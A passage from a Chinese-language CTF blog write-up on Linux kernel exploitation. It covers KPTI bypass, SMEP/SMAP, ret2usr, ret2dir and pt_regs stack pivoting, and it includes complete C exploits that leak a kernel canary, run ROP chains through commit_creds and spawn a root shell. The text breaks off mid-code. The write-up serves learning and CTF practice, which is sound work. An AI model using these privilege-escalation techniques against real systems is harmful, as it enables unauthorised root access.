kaslr&#8221; \\<br>-s \\<br>-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \\<br>-nographic \\<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u53c2\u8003 https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/rop\/kpti-bypass\/<\/p>\n\n\n\n<p>KPTI\u7b80\u5355\u5730\u8bf4\u5c31\u662f\u7528\u6237\u6001\u7684\u5185\u6838\u6001\u9875\u8868\u53ea\u7559\u4e0b\u5c11\u90e8\u5206\uff0c\u4ee5\u53ca\u5185\u6838\u6001\u7684\u7528\u6237\u6001\u9875\u8868\u76f4\u63a5\u5220\u6389\u4e86\u53ef\u6267\u884c\u4f4d\u3002<\/p>\n\n\n\n<p>commit_cred\u7528\u7684\u662f\u5185\u6838\u7684gadget\uff0c\u6ca1\u95ee\u9898\uff0c\u4f46\u662f\u540e\u9762\u5207\u5230ring 3\u540e\u6267\u884c\u7684\u521b\u5efash\u547d\u4ee4\u5c31\u662f\u7528\u6237\u6001\u4ee3\u7801\u4e86\uff0c\u7531\u4e8eKPTI\u7684\u5b58\u5728\u4f1a\u5bfc\u81f4\u6bb5\u9519\u8bef\u3002\u89e3\u51b3\u65b9\u6cd5\u4e5f\u7b80\u5355\uff0c\u5c31\u662f\u5728\u5207\u5230ring 3\u524d\u591a\u52a0\u4e00\u6b65\uff1a\u628a\u9875\u8868\u72b6\u6001\u4e5f\u5207\u56de\u7528\u6237\u6001\u5373\u53ef\u3002\u5185\u6838\u63d0\u4f9b\u4e86\u51fd\u6570swapgs_restore_regs_and_return_to_usermode\u6765\u5b9e\u73b0ring 0\u5207 ring 3\u540c\u65f6\u6362\u56de\u7528\u6237\u6001\u9875\u8868\u7684\u529f\u80fd\uff0c\u4e0d\u8fc7\u6211\u4eec\u7528\u7684\u65f6\u5019\u9700\u8981\u8df3\u8fc7\u524d\u9762\u4e00\u5927\u6bb5pop\uff0c\u5f97\u628avmlinux\u62d6ida\u91cc\u9762\u624b\u52a8\u627e\u8d77\u59cb\u4f4d\u7f6emov rdi, rsp\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/M0QZ@VYSRDTJZW-1-1024x725.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"725\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/M0QZ@VYSRDTJZW-1-1024x725.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1333\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5728\u5e03\u7f6eROP\u7684\u65f6\u5019\u540e\u9762\u8fd8\u8981\u586b\u5145\u4e24\u4e2a\u5355\u4f4d\u624d\u80fd\u8df3\u5230\u7528\u6237\u6001\u7684getshell\uff0c\u539f\u56e0\u6ca1\u641e\u61c2\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n\n\/**\n * Kernel Pwn Infrastructures\n *\/\n#define SUCCESS_MSG(msg)    \"\\033&#91;32m\\033&#91;1m\" msg \"\\033&#91;0m\"\n#define INFO_MSG(msg)       \"\\033&#91;34m\\033&#91;1m\" msg \"\\033&#91;0m\"\n#define ERROR_MSG(msg)      \"\\033&#91;31m\\033&#91;1m\" msg \"\\033&#91;0m\"\n#define log_success(msg)    puts(SUCCESS_MSG(msg))\n#define log_info(msg)       puts(INFO_MSG(msg))\n#define log_error(msg)      puts(ERROR_MSG(msg))\n\n\/\/ \u5168\u5c40\u53d8\u91cf\nsize_t commit_creds = 0, prepare_kernel_cred = 0;\nsize_t startup_64 = 0, swapgs_restore_regs = 0;\nsize_t kernel_base = 0xffffffff81000000; \/\/ \u9ed8\u8ba4\u57fa\u5740\nsize_t user_cs, user_ss, user_rflags, user_sp;\n\n\/\/ \u4fdd\u5b58\u7528\u6237\u6001\u72b6\u6001\nvoid save_status(void){\n    asm volatile (\n        \"mov user_cs, cs;\"\n        \"mov user_ss, ss;\"\n        \"mov user_sp, rsp;\"\n        \"pushf;\"\n        \"pop user_rflags;\"\n    );\n    log_success(\"&#91;*] Status has been saved.\");\n}\n\n\/\/ \u63d0\u6743\u540e\u7684 Shell\nvoid get_root_shell(void){\n    if(getuid()) {\n        log_error(\"&#91;x] Failed to get the root!\");\n        sleep(5);\n        exit(EXIT_FAILURE);\n    }\n    log_success(\"&#91;+] Successful to get the root.\");\n    log_info(\"&#91;*] Execve root shell now...\");\n    system(\"\/bin\/sh\");\n    exit(EXIT_SUCCESS);\n}\n\n\/**\n * Challenge Interface\n *\/\nvoid core_read(int fd, char *buf){\n    ioctl(fd, 0x6677889B, buf);\n}\n\nvoid set_off_val(int fd, size_t off){\n    ioctl(fd, 0x6677889C, off);\n}\n\nvoid core_copy(int fd, size_t nbytes){\n    ioctl(fd, 0x6677889A, nbytes);\n}\n\n\/**\n * Exploitation Gadgets (Static Offsets)\n *\/\n\/\/ pop rdi; ret\n#define OFF_POP_RDI 0xb2f\n\/\/ mov rdi, rax; pop rbp; mov rax, rdi; pop r12; ret (\u7a33\u5b9a\u7248)\n#define OFF_MOV_RDI_RAX 0x3f9ede \n\nvoid exploitation(void){\n    FILE *ksyms_file;\n    int fd;\n    char buf&#91;0x1000], type&#91;0x10];\n    size_t addr;\n    size_t canary;\n    size_t rop_chain&#91;0x100];\n    size_t i;\n    \n    \/\/ \u8fd0\u884c\u65f6\u8ba1\u7b97\u7684 Gadget \u5730\u5740\n    size_t g_pop_rdi, g_mov_rdi_rax, g_kpti_trampoline;\n\n    log_info(\"&#91;*] Start to exploit...\");\n    save_status();\n\n    \/\/ 1. \u6253\u5f00\u8bbe\u5907\n    \/\/ \u4f18\u5148\u5c1d\u8bd5 \/proc\/show\uff0c\u5931\u8d25\u5219\u5c1d\u8bd5 \/proc\/core\n    fd = open(\"\/proc\/show\", O_RDWR);\n    if(fd &lt; 0) fd = open(\"\/proc\/show\", O_RDWR);\n    if(fd &lt; 0) {\n        log_error(\"&#91;x] Failed to open the device!\");\n        exit(EXIT_FAILURE);\n    }\n\n    \/\/ 2. \u83b7\u53d6\u5185\u6838\u7b26\u53f7\n    log_info(\"&#91;*] Reading \/tmp\/kallsyms...\");\n    ksyms_file = fopen(\"\/tmp\/kallsyms\", \"r\");\n    if(ksyms_file == NULL) {\n        log_error(\"&#91;x] Failed to open the sym_table file!\");\n        exit(EXIT_FAILURE);\n    }\n\n    while(fscanf(ksyms_file, \"%lx%s%s\", &amp;addr, type, buf) != EOF) {\n        if(!commit_creds &amp;&amp; !strcmp(buf, \"commit_creds\")) {\n            commit_creds = addr;\n            printf(SUCCESS_MSG(\"&#91;+] commit_creds: \") \"%lx\\n\", commit_creds);\n        }\n        else if(!prepare_kernel_cred &amp;&amp; !strcmp(buf, \"prepare_kernel_cred\")) {\n            prepare_kernel_cred = addr;\n            printf(SUCCESS_MSG(\"&#91;+] prepare_kernel_cred: \") \"%lx\\n\", prepare_kernel_cred);\n        }\n        else if(!startup_64 &amp;&amp; !strcmp(buf, \"startup_64\")) {\n            startup_64 = addr;\n            printf(SUCCESS_MSG(\"&#91;+] startup_64: \") \"%lx\\n\", startup_64);\n        }\n        else if(!swapgs_restore_regs &amp;&amp; !strcmp(buf, \"swapgs_restore_regs_and_return_to_usermode\")) {\n            swapgs_restore_regs = addr;\n            printf(SUCCESS_MSG(\"&#91;+] swapgs_restore_regs: \") \"%lx\\n\", swapgs_restore_regs);\n        }\n    }\n    fclose(ksyms_file);\n\n    \/\/ 3. \u8ba1\u7b97\u57fa\u5740\u548c Gadget\n    if (startup_64) {\n        kernel_base = startup_64;\n        printf(SUCCESS_MSG(\"&#91;+] Kernel Base found (KASLR): \") \"%lx\\n\", kernel_base);\n    } else {\n        printf(INFO_MSG(\"&#91;!] No KASLR detected, using static base: \") \"%lx\\n\", kernel_base);\n    }\n\n    g_pop_rdi = kernel_base + OFF_POP_RDI;\n    g_mov_rdi_rax = kernel_base + OFF_MOV_RDI_RAX;\n    \n    \/\/ \u3010\u5173\u952e\u6539\u8fdb\u3011KPTI Trampoline \u7cbe\u786e\u5165\u53e3\n    \/\/ 0x910 (mov rdi, cr3) - 0x8DA (func start) = 0x36\n    \/\/ \u8df3\u8fc7\u524d\u9762\u7684 pop\uff0c\u76f4\u63a5\u5207\u6362 CR3\uff0c\u6808\u5e03\u5c40\u66f4\u5e72\u51c0\n    g_kpti_trampoline = swapgs_restore_regs + 22;\n\n    \/\/ 4. \u6cc4\u9732 Canary\n    log_info(\"&#91;*] Reading value of kernel stack canary...\");\n    set_off_val(fd, 64);\n    core_read(fd, buf);\n    canary = ((size_t*) buf)&#91;0];\n    printf(SUCCESS_MSG(\"&#91;+] Got kernel stack canary: \") \"%lx\\n\", canary);\n\n    \/\/ 5. \u6784\u9020 ROP Chain\n    \/\/ \u521d\u59cb\u5316\u7f13\u51b2\u533a\n    memset(rop_chain, 0, sizeof(rop_chain));\n    i = 0;\n\n    \/\/ &#91;0-7] Padding\n    for(; i &lt; 8; i++) rop_chain&#91;i] = canary;\n\n    \/\/ &#91;8] Canary\n    rop_chain&#91;i++] = canary;\n\n    \/\/ &#91;9] Saved RBP\n    rop_chain&#91;i++] = 0xdeadbeef;\n\n    \/\/ &#91;10] ROP Start\n    \/\/ prepare_kernel_cred(0)\n    rop_chain&#91;i++] = g_pop_rdi;\n    rop_chain&#91;i++] = 0;\n    rop_chain&#91;i++] = prepare_kernel_cred;\n\n    \/\/ commit_creds(rax)\n    \/\/ Gadget: mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret\n    rop_chain&#91;i++] = g_mov_rdi_rax;\n    rop_chain&#91;i++] = 0; \/\/ padding for pop rbp\n    rop_chain&#91;i++] = 0; \/\/ padding for pop r12\n    rop_chain&#91;i++] = commit_creds;\n\n    \/\/ KPTI Bypass &amp; Return\n    \/\/ \u76f4\u63a5\u8df3\u5230 mov rdi, cr3\uff0c\u4e0d\u9700\u8981\u586b\u5145 pop \u5783\u573e\u6570\u636e\n    rop_chain&#91;i++] = g_kpti_trampoline;\n    rop_chain&#91;i++] = *(size_t*) \"0\"; \/\/ Padding 1\n    rop_chain&#91;i++] = *(size_t*) \"0\"; \/\/ Padding 2\n\n    \/\/ IRETQ Frame (\u76f4\u63a5\u63a5\u5728 trampoline \u540e\u9762)\n    rop_chain&#91;i++] = (size_t) get_root_shell; \/\/ RIP\n    rop_chain&#91;i++] = user_cs;\n    rop_chain&#91;i++] = user_rflags;\n    rop_chain&#91;i++] = user_sp;\n    rop_chain&#91;i++] = user_ss;\n\n    \/\/ 6. \u89e6\u53d1\u6ea2\u51fa\n    log_info(\"&#91;*] Start to execute ROP chain in kernel space...\");\n    write(fd, rop_chain, i * 8); \/\/ \u6ce8\u610f\u8fd9\u91cc\u7684\u957f\u5ea6\n    \/\/ \u89e6\u53d1\u6574\u6570\u6ea2\u51fa\n    core_copy(fd, 0xffffffffffff0100);\n}\n\nint main(int argc, char ** argv){\n    exploitation();\n    return 0;\n}<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%BC%80%E5%90%AFSMEP%E3%80%81SMAP\"><\/span>\u5f00\u542fSMEP\u3001SMAP<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5bf9ROP\u65e0\u5f71\u54cd\uff0c\u5bf9ret2usr\u6709\u5f71\u54cd\u3002\u5982\u679cKPTI\u5173\u95ed\u4e14SMEP\u3001SMAP\u5f00\u542f\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528&nbsp;ROP \u6765\u5173\u95ed SMEP&amp;SMAP\uff08\u5c31\u662f\u7ed9CR4\u5bc4\u5b58\u5668\u7684\u5bf9\u5e94\u6807\u5fd7\u4f4d\u6e05\u96f6\uff0c\u901a\u5e38\u8d4b\u503c0x6f0\uff09\uff0c\u5177\u4f53exp\u53ef\u4ee5\u53c2\u8003\uff1a<\/p>\n\n\n\n<p>https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/rop\/bypass-smep\/<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%89%A7%E8%A1%8C%E5%8F%AF%E6%8E%A7%E6%8C%87%E9%92%88\"><\/span>\u6267\u884c\u53ef\u63a7\u6307\u9488<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"CTFSHOW_357_MINI-LCTF2022_%E2%80%93_kgadget\"><\/span>CTFSHOW 357 (MINI-LCTF2022 &#8211; kgadget)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u8fd9\u9898\u6bd4\u8f83\u7b80\u5355\u7c97\u66b4\uff0c\u76f4\u63a5\u7ed9\u4e86\u4e2a\u6267\u884c\u53ef\u63a7\u6307\u9488\u7684\u539f\u8bed\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-11-1024x536.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"536\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-11-1024x536.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1327\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%83%85%E5%BD%A21_%E6%97%A0%E4%BF%9D%E6%8A%A4\"><\/span>\u60c5\u5f621 \u65e0\u4fdd\u62a4<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u5148\u5047\u8bbe\u4fdd\u62a4\u4ec0\u4e48\u90fd\u6ca1\u5f00\u7684\u60c5\u51b5\u4e0b\uff0c\u90a3\u663e\u7136\u662f\u53ef\u4ee5\u76f4\u63a5\u6253ret2usr\uff0c\u76f4\u63a5\u5728\u7528\u6237\u6001\u5e03\u7f6ecommit_cred\uff0c\u8df3\u56de\u53bb\u6267\u884c\u5c31\u884c\uff1a<\/p>\n\n\n\n<p>run.sh:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>qemu-system-x86_64 \\\n        -m 256M \\\n        -cpu kvm64 \\\n        -smp cores=2,threads=2 \\\n        -kernel bzImage \\\n        -initrd .\/rootfs.cpio \\\n        -nographic \\\n        -monitor \/dev\/null \\\n        -snapshot \\\n        -append \"console=ttyS0 nokaslr pti=off quiet oops=panic panic=1\" \\\n        -no-reboot \\\n        -s<\/code><\/pre>\n\n\n\n<p>exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys\/ioctl.h&gt;\n#include &lt;stdint.h&gt;\n\n\/\/ \u4f60\u521a\u521a\u67e5\u5230\u7684\u5185\u6838\u51fd\u6570\u5730\u5740\n#define PREPARE_KERNEL_CRED 0xffffffff810c9540LL\n#define COMMIT_CREDS         0xffffffff810c92e0LL\n\ntypedef void* (*prepare_kernel_cred_t)(void*);\ntypedef int (*commit_creds_t)(void*);\n\nprepare_kernel_cred_t prepare_kernel_cred = (prepare_kernel_cred_t)PREPARE_KERNEL_CRED;\ncommit_creds_t commit_creds = (commit_creds_t)COMMIT_CREDS;\n\n\/\/ \u63d0\u6743 Payload\nvoid get_root() {\n    commit_creds(prepare_kernel_cred(0));\n}\n\nint main() {\n    \/\/ 1. \u6253\u5f00\u9a71\u52a8\u8bbe\u5907\n    int fd = open(\"\/dev\/ctfshow\", O_RDWR);\n    if (fd &lt; 0) {\n        perror(\"&#91;-] \u65e0\u6cd5\u6253\u5f00\u8bbe\u5907 \/dev\/ctfshow\");\n        return -1;\n    }\n\n    \/\/ 2. \u6784\u9020\u6307\u5411 Payload \u5730\u5740\u7684\u6307\u9488\n    \/\/ \u786e\u4fdd\u8fd9\u91cc\u5199\u7684\u662f uint64_t \n    uint64_t payload_addr = (uint64_t)get_root;\n    uint64_t *v3_fake_ptr = &amp;payload_addr;\n\n    printf(\"&#91;*] Payload (get_root) \u4f4d\u4e8e\u7528\u6237\u6001\u5730\u5740: %p\\n\", (void*)payload_addr);\n\n    \/\/ 3. \u89e6\u53d1\u6f0f\u6d1e (cmd = 114514)\n    \/\/ v3_fake_ptr \u5b58\u5165 RDX -&gt; \u5185\u6838 v3 \u5f97\u5230\u8be5\u6307\u9488 -&gt; v4 = *v3 \u5373 get_root\n    printf(\"&#91;*] \u6b63\u5728\u89e6\u53d1 ioctl \u6f0f\u6d1e...\\n\");\n    ioctl(fd, 114514, v3_fake_ptr);\n\n    \/\/ 4. \u9a8c\u8bc1\u662f\u5426\u6210\u529f\n    if (getuid() == 0) {\n        printf(\"&#91;+] \u63d0\u6743\u6210\u529f! \u5f53\u524d UID: %d\\n\", getuid());\n        system(\"\/bin\/sh\");\n    } else {\n        printf(\"&#91;-] \u63d0\u6743\u5931\u8d25\uff0cUID \u4ecd\u4e3a: %d\\n\", getuid());\n    }\n\n    close(fd);\n    return 0;\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"81\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1328\"  sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E6%83%85%E5%BD%A22_%E5%BC%80%E5%90%AFKPTI%E3%80%81SMEP%E3%80%81SMAP\"><\/span>\u60c5\u5f622 \u5f00\u542fKPTI\u3001SMEP\u3001SMAP<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2usr\"><\/span>ret2usr<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>run.sh:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/sh\nqemu-system-x86_64 \\\n        -m 256M \\\n        -cpu kvm64,+smap,+smep \\\n        -smp cores=2,threads=2 \\\n        -kernel bzImage \\\n        -initrd .\/rootfs.cpio \\\n        -nographic \\\n        -monitor \/dev\/null \\\n        -snapshot \\\n        -append \"console=ttyS0 nokaslr pti=off quiet oops=panic panic=10\" \\\n        -no-reboot \\\n        -s\n<\/code><\/pre>\n\n\n\n<p>ret2usr\u5931\u6548\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"902\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1329\"  sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u65f6\u5019\u5c31\u8981\u5f15\u5165\u4e00\u79cd\u65b0\u7684\u65b9\u6cd5\u4e86\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ret2dir\"><\/span>ret2dir<span class=\"ez-toc-section-end\"><\/span><\/h5>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\u5c31\u662f\uff0c\u5185\u6838\u6001\u4e0d\u80fd\u8bbf\u95ee\u548c\u6267\u884c\u7528\u6237\u6001\u4ee3\u7801\u770b\u4e0a\u53bb\u5bf9\u8fd9\u79cd\u53ea\u80fd\u63a7\u5236\u7a0b\u5e8f\u6267\u884c\u6d41\u7684\u539f\u8bed\u6765\u8bf4\u51e0\u4e4e\u65e0\u89e3\uff0c\u90a3\u6709\u6ca1\u6709\u4ec0\u4e48\u5730\u65b9\u662f\u6f0f\u7f51\u4e4b\u9c7c\uff1f\u6709\u7684\uff0c\u5728\u5185\u6838\u5730\u5740\u7a7a\u95f4\u91cc\u9762\u6709\u4e00\u6bb5\u79f0\u4e3aphysmap\u7684\u533a\u57df\uff0c\u8be5\u533a\u57df\u4e2d\u6620\u5c04\u4e86RAM\uff0c\u800cRAM\u4e2d\u4f1a\u6620\u5c04\u90e8\u5206\u7528\u6237\u6001\u7684\u5730\u5740\u7a7a\u95f4\u3002\u5982\u679c\u7528\u6237\u6001\u5e03\u7f6e\u7684payload\u80fd\u5728physmap\u533a\u57df\u627e\u5230\uff0c\u90a3\u5c31\u53ef\u4ee5\u8df3\u8fc7\u53bb\u6267\u884c\u4e86\u3002\u95ee\u9898\u53c8\u6765\u4e86\uff1a\u5e94\u8be5\u5982\u4f55\u627e\u5230\u8fd9\u6bb5payload\u6240\u5728\u4f4d\u7f6e\uff1f\u53ef\u4ee5\u5728\u7528\u6237\u6001\u7a7a\u95f4\u4f7f\u7528\u7c7b\u4f3c\u5806\u55b7\u7684\u6280\u672f\u5e7f\u6492\u7f51\uff0c\u4e4b\u540e\u518d\u968f\u673a\u6311\u9009\u4e00\u4e2a\u76f8\u5bf9\u9760\u8fd1\u9ad8\u5730\u5740\u7684 direct mapping area \u4e0a\u7684\u5730\u5740\u8fdb\u884c\u5229\u7528\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u6709\u5f88\u5927\u7684\u6982\u7387\u547d\u4e2d\u5230\u6211\u4eec\u5e03\u7f6e\u7684 payload \u4e0a\u3002<\/p>\n\n\n\n<p>\u7531\u4e8e\u5f00\u542fKPTI\uff0c\u6240\u4ee5payload\u80af\u5b9a\u4e5f\u5f97\u662fROP\u94fe\uff0c\u4e8e\u662f\u53c8\u51fa\u73b0\u4e00\u4e2a\u95ee\u9898\uff0c\u8fd9\u4e2a\u6d1e\u63a7\u5236\u7684\u662fRIP\u6307\u9488\uff0cRIP\u6307\u9488\u8df3\u5230payload\u4e86\uff0cRSP\u5e76\u6ca1\u6709\uff0c\u53ef\u4ee5\u7528\u4e00\u4e9b\u7279\u6b8agadget\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u8fd9\u91cc\u5c31\u76f4\u63a5\u7ed9\u51fa\u4e00\u79cd\u901a\u7528ROP\u7684\u65b9\u6cd5\uff0c\u5373pt_regs\u5229\u7528\u3002<\/p>\n\n\n\n<p>\u53ef\u4ee5\u53c2\u8003\uff1a<\/p>\n\n\n\n<p>https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/rop\/ret2ptregs\/#uaf-seq_operations-pt_regs-rop<\/p>\n\n\n\n<p>https:\/\/ctf-wiki.org\/pwn\/linux\/kernel-mode\/exploitation\/rop\/ret2dir\/<\/p>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0c\u5c31\u662f\u8fdb\u884c\u7cfb\u7edf\u8c03\u7528syscall\u65f6\u5019\uff0c\u4f17\u591a\u5bc4\u5b58\u5668\u90fd\u4f1a\u88ab\u538b\u5165\u5185\u6838\u6808\u4e0a\uff0c\u5f62\u6210pt_regs \u7ed3\u6784\u4f53\uff0c\u63d0\u524d\u5728\u5bc4\u5b58\u5668\u91cc\u9762\u8d4b\u503c\uff0c\u518d\u901a\u8fc7syscall\u5c31\u53ef\u4ee5\u5b9e\u73b0\u6784\u9020\u6808\u7684\u6548\u679c\uff0c\u6700\u540e\u628arip\u6307\u5411\u8bf8\u5982add rsp, n ; ret \u8fd9\u79cd\u6307\u4ee4\u5c31\u80fd\u6fc0\u6d3b\u6784\u9020\u7684\u6808\u5b9e\u73b0ROP\u3002<\/p>\n\n\n\n<p>\u7531\u4e8e\u672c\u9898\u4e2d\u628a\u5bc4\u5b58\u5668\u5927\u90e8\u5206\u90fd\u6e05\u7a7a\uff0c\u53ea\u7559\u4e0br8\u3001r9\u53ef\u4ee5\u7528\uff0c\u6240\u4ee5\u8fd8\u5f97\u518d\u95f4\u63a5\u4e00\u6b21\uff0c\u901a\u8fc7pop rsp; ret\u628apayload\u5730\u5740\u4f20\u7ed9rsp\u6765\u5b9e\u73b0\u6808\u8fc1\u79fb\u3002\u5177\u4f53\u8fc7\u7a0b\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p>1. \u901a\u8fc7physmap spray\u6765mmap\u6279\u91cf\u4e0b\u8ff0payload\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"872\" height=\"789\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2026\/02\/image-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1340\"  sizes=\"auto, (max-width: 872px) 100vw, 872px\" \/><\/div><\/figure>\n\n\n\n<p>2. \u6267\u884c\u4e0b\u8ff0\u4ee3\u7801\uff0csyscall\u628apt_regs\u538b\u5165\u6808\uff0c\u540c\u65f6rip\u6307\u5411\u5230try_hit\uff0c\u547d\u4e2dpayload\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    __asm__(\n        \"mov r15,   0xbeefdead;\"\n        \"mov r14,   0x11111111;\"\n        \"mov r13,   0x22222222;\"\n        \"mov r12,   0x33333333;\"\n        \"mov rbp,   